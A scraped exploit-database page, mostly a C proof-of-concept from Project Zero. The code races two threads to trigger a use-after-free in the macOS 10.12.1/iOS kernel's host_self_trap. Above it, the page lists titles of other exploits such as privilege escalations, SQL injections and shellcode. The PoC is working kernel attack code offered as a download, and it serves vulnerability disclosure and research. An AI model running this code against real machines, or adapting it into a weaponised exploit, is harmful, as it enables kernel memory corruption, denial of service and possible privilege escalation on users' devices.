d0b74905e8
17 new exploits Google Android - 'pm_qos' KASLR Bypass macOS 10.12.1 / iOS 10.2 - Kernel Userspace Pointer Memory Corruption macOS 10.12.1 / iOS Kernel - 'IOService::matchPassive' Use-After-Free macOS 10.12.1 / iOS Kernel - 'host_self_trap' Use-After-Free Systemd 228 - Privilege Escalation (PoC) OpenSSH 6.8 < 6.9 - 'PTY' Privilege Escalation Autodesk Backburner Manager 3 < 2016.0.0.2150 - Null Dereference Denial of Service Haraka < 2.8.9 - Remote Command Execution Linux/x86_64 - execve /bin/sh Shellcode (22 bytes) Drupal 7.0 < 7.31 - SQL Injection (SA-CORE-2014-005) (1) Drupal 7.0 < 7.31 - SQL Injection (1) Drupal 7.0 < 7.31 - SQL Injection (SA-CORE-2014-005) (2) Drupal 7.0 < 7.31 - SQL Injection (2) Pear HTTP_Upload 1.0.0b3 - Arbitrary File Upload KB Affiliate Referral Script 1.0 - Authentication Bypass KB Login Authentication Script 1.1 - Authentication Bypass KB Messages PHP Script 1.0 - Authentication Bypass Web Based TimeSheet Script - Authentication Bypass TM RG4332 Wireless Router - Arbitrary File Disclosure PHPBack < 1.3.1 - SQL Injection / Cross-Site Scripting Polycom VVX Web Interface - Change Admin Password
103 lines
No EOL
3 KiB
C
Executable file
103 lines
No EOL
3 KiB
C
Executable file
/*
|
|
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1034
|
|
|
|
The task struct has a lock (itk_lock_data, taken via the itk_lock macros) which is supposed to
|
|
protect the task->itk_* ports.
|
|
|
|
The host_self_trap mach trap accesses task->itk_host without taking this lock leading to a use-after-free
|
|
given the following interleaving of execution:
|
|
|
|
Thread A: host_self_trap:
|
|
read current_task()->itk_host // Thread A reads itk_host
|
|
|
|
Thread B: task_set_special_port:
|
|
*whichp = port; // Thread B replaces itk_host with eg MACH_PORT_NULL
|
|
itk_unlock(task);
|
|
|
|
if (IP_VALID(old))
|
|
ipc_port_release_send(old); // Thread B drops last ref on itk_host
|
|
|
|
Thread A: host_self_trap:
|
|
passes the port to ipc_port_copy_send // uses the free'd port
|
|
|
|
host_self_trap should use one of the canonical accessors for the task's host port, not just directly read it.
|
|
|
|
PoC tested on MacOS 10.12.1
|
|
*/
|
|
|
|
// ianbeer
|
|
#if 0
|
|
iOS/MacOS kernel UaF due to lack of locking in host_self_trap
|
|
|
|
The task struct has a lock (itk_lock_data, taken via the itk_lock macros) which is supposed to
|
|
protect the task->itk_* ports.
|
|
|
|
The host_self_trap mach trap accesses task->itk_host without taking this lock leading to a use-after-free
|
|
given the following interleaving of execution:
|
|
|
|
Thread A: host_self_trap:
|
|
read current_task()->itk_host // Thread A reads itk_host
|
|
|
|
Thread B: task_set_special_port:
|
|
*whichp = port; // Thread B replaces itk_host with eg MACH_PORT_NULL
|
|
itk_unlock(task);
|
|
|
|
if (IP_VALID(old))
|
|
ipc_port_release_send(old); // Thread B drops last ref on itk_host
|
|
|
|
Thread A: host_self_trap:
|
|
passes the port to ipc_port_copy_send // uses the free'd port
|
|
|
|
host_self_trap should use one of the canonical accessors for the task's host port, not just directly read it.
|
|
|
|
PoC tested on MacOS 10.12.1
|
|
#endif
|
|
|
|
// example boot-args
|
|
// debug=0x144 -v pmuflags=1 kdp_match_name=en3 -zp -zc gzalloc_min=120 gzalloc_max=200
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <pthread.h>
|
|
|
|
#include <mach/mach.h>
|
|
#include <mach/host_priv.h>
|
|
|
|
mach_port_t q() {
|
|
mach_port_t p = MACH_PORT_NULL;
|
|
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
|
|
mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
|
|
return p;
|
|
}
|
|
|
|
int start = 0;
|
|
|
|
mach_port_t rq = MACH_PORT_NULL;
|
|
void* racer(void* arg) {
|
|
for(;;) {
|
|
while(!start){;}
|
|
usleep(10);
|
|
mach_port_t p = mach_host_self();
|
|
mach_port_deallocate(mach_task_self(), p);
|
|
start = 0;
|
|
}
|
|
}
|
|
|
|
int main() {
|
|
pthread_t thread;
|
|
pthread_create(&thread, NULL, racer, NULL);
|
|
for (;;){
|
|
mach_port_t p = q();
|
|
|
|
kern_return_t err = task_set_special_port(mach_task_self(), TASK_HOST_PORT, p);
|
|
|
|
mach_port_deallocate(mach_task_self(), p);
|
|
mach_port_destroy(mach_task_self(), p);
|
|
// kernel holds the only ref
|
|
|
|
start = 1;
|
|
|
|
task_set_special_port(mach_host_self(), TASK_HOST_PORT, MACH_PORT_NULL);
|
|
}
|
|
return 0;
|
|
} |